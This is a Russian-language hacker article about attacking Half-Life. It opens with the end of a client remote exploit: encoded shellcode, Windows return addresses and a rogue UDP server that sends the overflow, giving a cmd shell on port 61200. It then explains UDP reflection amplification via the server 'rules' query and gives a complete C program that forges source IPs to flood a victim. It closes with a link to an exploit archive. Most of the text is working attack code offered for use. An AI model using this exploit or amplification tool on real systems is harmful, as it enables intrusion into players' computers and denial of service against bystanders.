	"\xEF\x7E\x28\x96\x96\x96\x1F\xD0\xBA\xA5\x69\x17\x7A\x06\x97\x96\x96\xC2
\xFE\x97"
	"\x97\x96\x96\x69\xC0\x8E\xC6\xC6\xC6\xC6\xD6\xC6\xD6\xC6\x69\xC0
\x8A\x1D\x4E\xC1"
	"\xC1\xFE\x94\x96\x79\x86\x1D\x5A\xFC\x80\xC7\xC5\x69\xC0\xB6\xC1\xC5\x69
\xC0\xB2"
	"\xC1\xC7\xC5\x69\xC0\xBE\x1D\x46\xFE\xF3\xEE\xF3\x96\xFE\xF5\xFB\xF2\xB8\x1F\xF0"
	"\xA6\x15\x7A\xC2\x1B\xAA\xB2\xA5\x56\xA5\x5F\x15\x57\x83\x3D\x74\x6B\x50
\xD2\xB2"
	"\x86\xD2\x68\xD2\xB2\xAB\x1F\xC2\xB2\xDE\x1F\xC2\xB2\xDA\x1F\xC2\xB2\xC6
\x1B\xD2"
	"\xB2\x86\xC2\xC6\xC7\xC7\xC7\xFC\x97\xC7\xC7\x69\xE0\xA6\xC7\x69\xC0\x86\x1D\x5A"
	"\xFC\x69\x69\xA7\x69\xC0\x9A\x1D\x5E\xC1\x69\xC0\xBA\x69\xC0\x82\xC3\xC0\xF2\x37"
	"\xA6\x96\x96\x96\x13\x56\xEE\x9A\x1D\xD6\x9A\x1D\xE6
\x8A\x3B\x1D\xFE\x9E\x7D\x9F"
	"\x1D\xD6\xA2\x1D\x3E\x2E\x96\x96\x96\x1D\x53\xC8\xCB\x54\x92\x96\xC5\xC3
\xC0\xC1"
	"\x1D\xFA\xB2\x8E\x1D\xD3\xAA\x1D\xC2\x93\xEE\x95\x43
\x1D\xDC\x8E\x1D\xCC\xB6\x95"
	"\x4B\x75\xA4\xDF\x1D\xA2\x1D\x95\x63\xA5\x69\x6A\xA5\x56\x3A\xAC\x52\xE2
\x91\x57"
	"\x59\x9B\x95\x6E\x7D\x64\xAD\xEA\xB2\x82\xE3\x77\x1D\xCC\xB2\x95\x4B\xF0
\x1D\x9A"
	"\xDD\x1D\xCC\x8A\x95\x4B\x1D\x92\x1D\x95\x53\x7D\x94\xA5\x56\x1D\x43\xC9\xC8\xCB"
	"\xCD\x54\x92\x96"
	/* end */
	"\x5C\x00"; // ну и концовка, чтобы HL-принял датаграмму за свою.

char retw2ksp3[] = "\xc5\xaf\xe2\x77";
char retwxpsp0[] = "\x1c\x80\xf5\x77"; //ntdll.dll : jmp esp
char retwxpsp1[] = "\xba\x26\xe6\x77";
char retw98se2[] = "\xa9\xbf\xda\x7f";

int main(int argc, char **argv) {
	int sock, sf, len, i;
	u_short port=PORT;
	struct sockaddr_in fukin_addr, rt;
	char buf[0x1000];
	printf("\n\rHalfLife client v.1.1.1.0 remote exploit by m00 Security\n");
	if(argc!=2) {
		printf("
Usage: %s 

where os:
1 - win2k sp3 ru
2 - winxp nosp ru
3 - winxp sp1 ru
4 - win98 se2 ru (need another shellcode)

",argv[0]);
		exit(0);
	}
	if(atoi(argv[1])==1) {
		for(i=0;i<4;i++) {
			evilbuf[536+i]=retw2ksp3[i];
		}
	}
	if(atoi(argv[1])==2) {
		for(i=0;i<4;i++) {
			evilbuf[536+i]=retwxpsp0[i];
		}
	}
	if(atoi(argv[1])==3) {
		for(i=0;i<4;i++) {
			evilbuf[536+i]=retwxpsp1[i];
		}
	}
	if(atoi(argv[1])==4) {
		for(i=0;i<4;i++) {
			evilbuf[536+i]=retw98se2[i];
		}
	}

	if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {
		perror("[-] socket()");
		exit(0);
	}
	printf("\n[+] Socket created.\n");
	fukin_addr.sin_addr.s_addr = INADDR_ANY;
	fukin_addr.sin_port        = htons(port);
	fukin_addr.sin_family      = AF_INET;

	if(bind(sock, (struct sockaddr *)&fukin_addr, sizeof(fukin_addr))<0) {
		perror("[-] bind()");
		exit(0);
	}
	printf("[+] Port %i binded.\n", port);
	sf = sizeof(rt);
	while(1) { //"цикл" обработки входящих udp-датаграмм
		if ((len = recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr *)
&rt, &sf))<0) {
			perror("[-] recv()");
			exit(1);
		}
		printf("[+] Incoming udp datagram: ");
 		for (i=0;i<=len;i++){
			printf("%c",buf[i]);
		}
		printf("\n[~] Identyfication... ");
		if(strstr(buf,"ping")) { //если датаграмма содержит ping, отвечаем 
ей соответственно
			printf("PING request\n[~] Sending answer... ");
			if(sendto(sock, ping, sizeof(ping), 0, (struct sockaddr *)
&rt, sizeof(rt))<0) {
				perror("[-] send()");
				exit(1);
			} else {
				printf("OK\n");
			}
			continue;
		}
		if(strstr(buf,"infostring")) { //если содержит infostring, клиент 
наш ;]
			printf("INFOSTRING request\n[~] Attacking... OK\n");
			printf("[+] Now try to connect to: %s:61200\n", inet_ntoa
(rt.sin_addr));
			if(sendto(sock, evilbuf, sizeof(evilbuf), 0, (struct 
sockaddr *)&rt, sizeof(rt))<0) {
				perror("[-] send()");
				exit(1);
			}
			continue;
		}
		printf("unknow request\n");
	}
	close(sock);
	return 0;
}
В случае удачной эксплуатации открывает cmd-exe шелл на порту 61200. В эту версию включены ret'ы для winxp nosp\sp1, win2k sp3, win98se. Все русские, но вполне возможно, что они будут работать и на англоязычной версии Windows.

2. (D)DoS via Half-Life v.* servers

На самом деле, информация о возможности DoS'а через игровые серверы мелькала на багтрэках довольно давно. Я (как и все остальные) как-то не обращал на эти посты внимания, пока сам не столкнулся с этой проблемой.

В HL есть такая команда "rules" (опять же, в самом начале я про неё писал). На неё сервер отвечает исчерпывающей информацие о себе. Пример:

client ask:
0x0000   BA 87 20 00 05 00 00 00-05 00 00 00 08 00 45 00   ?‡ ...........E.
0x0010   00 26 10 FB 00 00 C8 11-91 45 51 D3 29 32 D4 7A   .&.u..E.‘EQO)2Oz
0x0020   01 07 0C C9 69 87 00 12-E7 17 FF FF FF FF 72 75   ...Ei‡..c.yyyyru
0x0030   6C 65 73 00                                       les.
#размер 52b

server reply:
0x0000   00 00 05 00 00 00 BA 87-20 00 05 00 08 00 45 00   ......?‡ .....E.
0x0010   05 44 9F FB 00 00 33 11-92 27 D4 7A 01 07 51 D3   .DYu..3.’'Oz..QO
0x0020   29 32 69 87 0C C9 05 30-D0 64 FF FF FF FF 45 4D   )2i‡.E.0?dyyyyEM
0x0030   00 73 79 73 5F 74 69 63-72 61 74 65 00 35 30 30   .sys_ticrate.500
0x0040   2E 30 30 30 30 30 30 00-6D 70 5F 6C 6F 67 66 69   .000000.mp_logfi
0x0050   6C 65 00 31 00 64 65 61-74 68 6D 61 74 63 68 00   le.1.deathmatch.
0x0060   31 00 63 6F 6F 70 00 30-00 70 61 75 73 61 62 6C   1.coop.0.pausabl
0x0070   65 00 30 00 73 76 5F 76-6F 69 63 65 65 6E 61 62   e.0.sv_voiceenab
0x0080   6C 65 00 31 00 6D 70 5F-63 6F 6E 73 69 73 74 65   le.1.mp_consiste
0x0090   6E 63 79 00 31 00 73 76-5F 63 6F 6E 74 61 63 74   ncy.1.sv_contact
0x00A0   00 00 73 76 5F 6D 61 78-75 70 64 61 74 65 72 61   ..sv_maxupdatera
0x00B0   74 65 00 31 30 30 2E 30-30 30 30 30 30 00 73 76   te.100.000000.sv
0x00C0   5F 70 72 6F 78 69 65 73-00 32 00 73 76 5F 70 61   _proxies.2.sv_pa
0x00D0   73 73 77 6F 72 64 00 30-00 73 76 5F 61 69 6D 00   ssword.0.sv_aim.
0x00E0   30 00 73 76 5F 67 72 61-76 69 74 79 00 38 30 30   0.sv_gravity.800
0x00F0   00 73 76 5F 66 72 69 63-74 69 6F 6E 00 34 2E 30   .sv_friction.4.0
0x0100   30 30 30 30 30 00 65 64-67 65 66 72 69 63 74 69   00000.edgefricti
0x0110   6F 6E 00 32 00 73 76 5F-73 74 6F 70 73 70 65 65   on.2.sv_stopspee
0x0120   64 00 37 35 2E 30 30 30-30 30 30 00 73 76 5F 6D   d.75.000000.sv_m
0x0130   61 78 73 70 65 65 64 00-33 32 30 00 6D 70 5F 66   axspeed.320.mp_f
0x0140   6F 6F 74 73 74 65 70 73-00 31 00 73 76 5F 61 63   ootsteps.1.sv_ac
0x0150   63 65 6C 65 72 61 74 65-00 35 2E 30 30 30 30 30   celerate.5.00000
0x0160   30 00 73 76 5F 73 74 65-70 73 69 7A 65 00 31 38   0.sv_stepsize.18
0x0170   00 73 76 5F 63 6C 69 70-6D 6F 64 65 00 30 00 73   .sv_clipmode.0.s
0x0180   76 5F 62 6F 75 6E 63 65-00 31 00 73 76 5F 61 69   v_bounce.1.sv_ai
0x0190   72 6D 6F 76 65 00 31 00-73 76 5F 61 69 72 61 63   rmove.1.sv_airac
0x01A0   63 65 6C 65 72 61 74 65-00 31 2E 35 00 73 76 5F   celerate.1.5.sv_
0x01B0   77 61 74 65 72 61 63 63-65 6C 65 72 61 74 65 00   wateraccelerate.
0x01C0   31 30 00 73 76 5F 77 61-74 65 72 66 72 69 63 74   10.sv_waterfrict
0x01D0   69 6F 6E 00 31 00 73 76-5F 63 6C 69 65 6E 74 74   ion.1.sv_clientt
0x01E0   72 61 63 65 00 31 00 73-76 5F 63 68 65 61 74 73   race.1.sv_cheats
0x01F0   00 30 00 73 76 5F 61 6C-6C 6F 77 75 70 6C 6F 61   .0.sv_allowuploa
0x0200   64 00 30 00 73 76 5F 6D-69 6E 72 61 74 65 00 30   d.0.sv_minrate.0
0x0210   00 73 76 5F 6D 61 78 72-61 74 65 00 34 30 30 30   .sv_maxrate.4000
0x0220   00 72 65 73 65 72 76 65-5F 73 6C 6F 74 73 00 31   .reserve_slots.1
0x0230   00 73 65 72 76 65 72 5F-66 70 73 00 38 37 2E 30   .server_fps.87.0
0x0240   30 30 30 30 30 00 62 6F-6F 73 74 65 72 5F 76 65   00000.booster_ve
0x0250   72 73 69 6F 6E 00 31 2E-33 33 00 73 74 61 74 73   rsion.1.33.stats
0x0260   6D 65 5F 76 65 72 73 69-6F 6E 00 32 2E 36 2E 34   me_version.2.6.4
0x0270   00 61 64 6D 69 6E 5F 68-69 67 68 6C 61 6E 64 65   .admin_highlande
0x0280   72 00 30 00 61 64 6D 69-6E 5F 69 67 6E 6F 72 65   r.0.admin_ignore
0x0290   5F 69 6D 6D 75 6E 69 74-79 00 30 00 61 64 6D 69   _immunity.0.admi
0x02A0   6E 5F 71 75 69 65 74 00-30 00 61 64 6D 69 6E 5F   n_quiet.0.admin_
0x02B0   6D 6F 64 5F 76 65 72 73-69 6F 6E 00 32 35 30 32   mod_version.2502
0x02C0   36 61 20 28 4D 4D 29 00-61 6C 6C 6F 77 5F 63 6C   6a (MM).allow_cl
0x02D0   69 65 6E 74 5F 65 78 65-63 00 31 00 61 6D 76 5F   ient_exec.1.amv_
0x02E0   70 72 69 76 61 74 65 5F-73 65 72 76 65 72 00 30   private_server.0
0x02F0   00 64 65 66 61 75 6C 74-5F 61 63 63 65 73 73 00   .default_access.
0x0300   30 00 70 75 62 6C 69 63-5F 73 6C 6F 74 73 5F 66   0.public_slots_f
0x0310   72 65 65 00 38 2E 30 30-30 30 30 30 00 72 65 73   ree.8.000000.res
0x0320   65 72 76 65 5F 74 79 70-65 00 30 00 6D 70 5F 74   erve_type.0.mp_t
0x0330   69 6D 65 6C 69 6D 69 74-00 33 30 00 6D 70 5F 66   imelimit.30.mp_f
0x0340   72 69 65 6E 64 6C 79 66-69 72 65 00 31 00 6D 70   riendlyfire.1.mp
0x0350   5F 66 6C 61 73 68 6C 69-67 68 74 00 31 00 64 65   _flashlight.1.de
0x0360   63 61 6C 66 72 65 71 75-65 6E 63 79 00 33 30 00   calfrequency.30.
0x0370   6D 70 5F 61 6C 6C 6F 77-6D 6F 6E 73 74 65 72 73   mp_allowmonsters
0x0380   00 30 00 6D 70 5F 72 6F-75 6E 64 74 69 6D 65 00   .0.mp_roundtime.
0x0390   34 00 6D 70 5F 62 75 79-74 69 6D 65 00 31 00 6D   4.mp_buytime.1.m
0x03A0   70 5F 66 72 65 65 7A 65-74 69 6D 65 00 35 00 6D   p_freezetime.5.m
0x03B0   70 5F 63 34 74 69 6D 65-72 00 34 35 00 6D 70 5F   p_c4timer.45.mp_
0x03C0   67 68 6F 73 74 66 72 65-71 75 65 6E 63 79 00 30   ghostfrequency.0
0x03D0   2E 31 00 6D 70 5F 61 75-74 6F 6B 69 63 6B 00 30   .1.mp_autokick.0
0x03E0   00 73 76 5F 72 65 73 74-61 72 74 72 6F 75 6E 64   .sv_restartround
0x03F0   00 30 00 73 76 5F 72 65-73 74 61 72 74 00 30 00   .0.sv_restart.0.
0x0400   6D 70 5F 6C 69 6D 69 74-74 65 61 6D 73 00 32 00   mp_limitteams.2.
0x0410   6D 70 5F 61 75 74 6F 74-65 61 6D 62 61 6C 61 6E   mp_autoteambalan
0x0420   63 65 00 31 00 6D 70 5F-74 6B 70 75 6E 69 73 68   ce.1.mp_tkpunish
0x0430   00 30 00 6D 70 5F 68 6F-73 74 61 67 65 70 65 6E   .0.mp_hostagepen
0x0440   61 6C 74 79 00 30 00 6D-70 5F 6D 69 72 72 6F 72   alty.0.mp_mirror
0x0450   64 61 6D 61 67 65 00 30-00 6D 70 5F 6C 6F 67 6D   damage.0.mp_logm
0x0460   65 73 73 61 67 65 73 00-31 00 6D 70 5F 66 6F 72   essages.1.mp_for
0x0470   63 65 63 61 6D 65 72 61-00 30 00 6D 70 5F 66 6F   cecamera.0.mp_fo
0x0480   72 63 65 63 68 61 73 65-63 61 6D 00 30 00 6D 70   rcechasecam.0.mp
0x0490   5F 6D 61 70 76 6F 74 65-72 61 74 69 6F 00 30 2E   _mapvoteratio.0.
0x04A0   36 00 6D 70 5F 6D 61 78-72 6F 75 6E 64 73 00 30   6.mp_maxrounds.0
0x04B0   00 6D 70 5F 77 69 6E 6C-69 6D 69 74 00 30 00 6D   .mp_winlimit.0.m
0x04C0   70 5F 66 61 64 65 74 6F-62 6C 61 63 6B 00 30 00   p_fadetoblack.0.
0x04D0   6D 70 5F 6C 6F 67 64 65-74 61 69 6C 00 30 00 6D   mp_logdetail.0.m
0x04E0   70 5F 73 74 61 72 74 6D-6F 6E 65 79 00 38 30 30   p_startmoney.800
0x04F0   00 6D 70 5F 70 6C 61 79-65 72 69 64 00 30 00 61   .mp_playerid.0.a
0x0500   6C 6C 6F 77 5F 73 70 65-63 74 61 74 6F 72 73 00   llow_spectators.
0x0510   31 00 6D 70 5F 63 68 61-74 74 69 6D 65 00 31 30   1.mp_chattime.10
0x0520   00 6D 70 5F 6B 69 63 6B-70 65 72 63 65 6E 74 00   .mp_kickpercent.
0x0530   30 2E 36 36 00 6D 70 5F-66 72 61 67 73 6C 65 66   0.66.mp_fragslef
0x0540   74 00 30 00 6D 70 5F 74-69 6D 65 6C 65 66 74 00   t.0.mp_timeleft.
0x0550   30 00                                             0.
#размер 1362b!!!
Сорри, за обилие мусора, но без этого вы бы не смогли прочувствовать насколько всё-таки ответ сервера огромен (относительно, конечно) Считайте, мы посылаем ему ~52b, он возвращает ~1.4kb. Коэффициент умножения ~27!! Это действительно внушительно. Учитывая, что протокол udp и, что spoof ещё никто не отменял, каждый Half-Life сервер в интернете вне зависимости от версии и настройки может превратиться в смертельное оружие против любого dial-up-пользователя (и не только?). Для тех, до кого ещё не дошло, идея такова:

Мы посылаем udp-датаграмму с подделаным src-адресом (с ip'ом нашей жертвы) с содержанием:

"\xFF\xFF\xFF\xFF\x72\x75\x6C\x65\x73\x00" (rules\0)
На что сервер отвечает датаграммой (на наш src-адрес), которая в 27 раз больше нашей. Только представьте, сколько отсылаем мы и сколько получает наша жертва.

Для программной реализации этой идеи я выбрал опять же c++. По той причине, что программирование raw-сокетов на перле требует модуль rawip (если память не изменяет) и libpcap, а эти компоненты есть далеко не у всех. Итак, следующая программа отсы

лает одну udp-датаграмму с запросом "rules" со спуфаного ip'а (размером 52b) на любой HL-сервер, на что машина, чей ип был соспуфан (то есть, та, которая была указана в SRC), получит ответ сервера (тот, который ~1.4kb):

/*
 *  m00flooder_PoC.c
 *
 * -d4rkgr3y
*/

#include <stdio.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define DST "127.0.0.1" // ip of any Half-Life (CS) server
#define RPORT 27015 // it's port
#define SRC "127.0.0.1" // ip of victim
#define LPORT 3180 // local port
#define MSG "\xFF\xFF\xFF\xFF\x72\x75\x6C\x65\x73\x00" // cmd to get hl-server-rules


/*  CHECKSUM CALCULATING FUNCTION  */
unsigned long in_cksum(unsigned short *addr, int len)
{
	register int sum = 0;
	u_short answer = 0;
	register u_short *w = addr;
	register int nleft = len;

	while (nleft > 1)
	{
		sum += *w++;
		nleft -= 2;
	}
	if (nleft == 1)
	{
		*(u_char *) (&answer) = *(u_char *) w;
		sum += answer;
	}
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	answer = ~sum;
	return (answer);
}
/*  END  */

int main(int argc, char **argv) {
	long num;
	int sock, optval, i;
	char *packet, *buffer, yo;
	struct udphdr *udp;
	struct pseudohdr {
		unsigned long saddr;
		unsigned long daddr;
		char useless;
		unsigned char protocol;
		unsigned short length;
        }pseudo;
	struct sockaddr_in peer;
        struct iphdr *ip;

        ip = (struct iphdr *) malloc(sizeof(struct iphdr));
        udp     = (struct udphdr *) malloc(sizeof(struct udphdr));
        packet  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + 
strlen(MSG));
        buffer  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + 
strlen(MSG));


	ip = (struct iphdr *) packet;
        udp = (struct udphdr *) (packet + sizeof(struct iphdr));

	/* IP-header */
        ip->ihl     = 5;
        ip->version = 4;
        ip->tos     = 0;
        ip->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) +strlen(MSG);
	ip->id      = htons(getuid());
	ip->ttl      = 255;
	ip->protocol = IPPROTO_UDP;
	ip->saddr    = inet_addr(SRC);
	ip->daddr    = inet_addr(DST);
	/* end */


	sock = socket(AF_INET,SOCK_RAW,IPPROTO_UDP);
	setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(int));

	pseudo.saddr    = inet_addr(SRC);
	pseudo.daddr    = inet_addr(DST);
	pseudo.useless  = htons(0);
	pseudo.protocol = IPPROTO_UDP;
	pseudo.length   = sizeof(struct udphdr) + strlen(MSG);

	/* UDP-header */
	udp->source = htons(LPORT);
	udp->dest   = htons(RPORT);
	udp->len    = htons(sizeof(struct udphdr) + strlen(MSG));
	udp->check  = in_cksum((unsigned short *)&pseudo,sizeof(struct udphdr) +
 sizeof(struct pseudohdr) + strlen(MSG));
        ip->check    = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
	/* end */


	strcpy((packet+sizeof(struct iphdr) + sizeof(struct udphdr)),MSG);

	peer.sin_family = AF_INET;
	peer.sin_port = htons(RPORT);
	peer.sin_addr.s_addr = inet_addr(DST);

	if(sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&peer,sizeof(struct 
sockaddr))==-1) {
		perror("sendto()");
		printf("Maybe u are not r00t? :-\\\n");
		exit(0);
	}
	sleep(324);
	close(sock);
	return 0;
}
Предупреждаю, эта программа непригодна для реального флуда, она призвана лишь продемонстрировать возможность оного.

Кстати, обилие подобных "rules" запросов может вызвать лаги и на самом HL-сервере ;) Но это уже совсем другая история...

IV. 0utr0.

Хм, вот сижу и думаю: "что обычно пишут в послесловии?" 

http://www.securitylab.ru/_tools/m00-HL-warpack.tar.gz

В данном архиве вы найдёте ранее неопубликованную мультиплатформенную версию m00-HL-portbind + ВСЕ эксплойты против HL, которые мне за последнее время попадались + рассматриваемые в статье.

При создании данного материала использовались:

CommView 3.2
Half-Life v.1.1.1.0 (CounterStrike 1.5)
ActivePerl v.xz
TASM 5.0 turbo debugger
notepad.exe
gcc3.2.2
Также хочу поблагодарить Over_G и r4ShRaY.

Cya.

-d4rkgr3y [d4rk@securitylab.ru] // m00 Security [www.m00security.org]

Если вам нравится играть в опасную игру, присоединитесь к нам - мы научим вас правилам!

Подписаться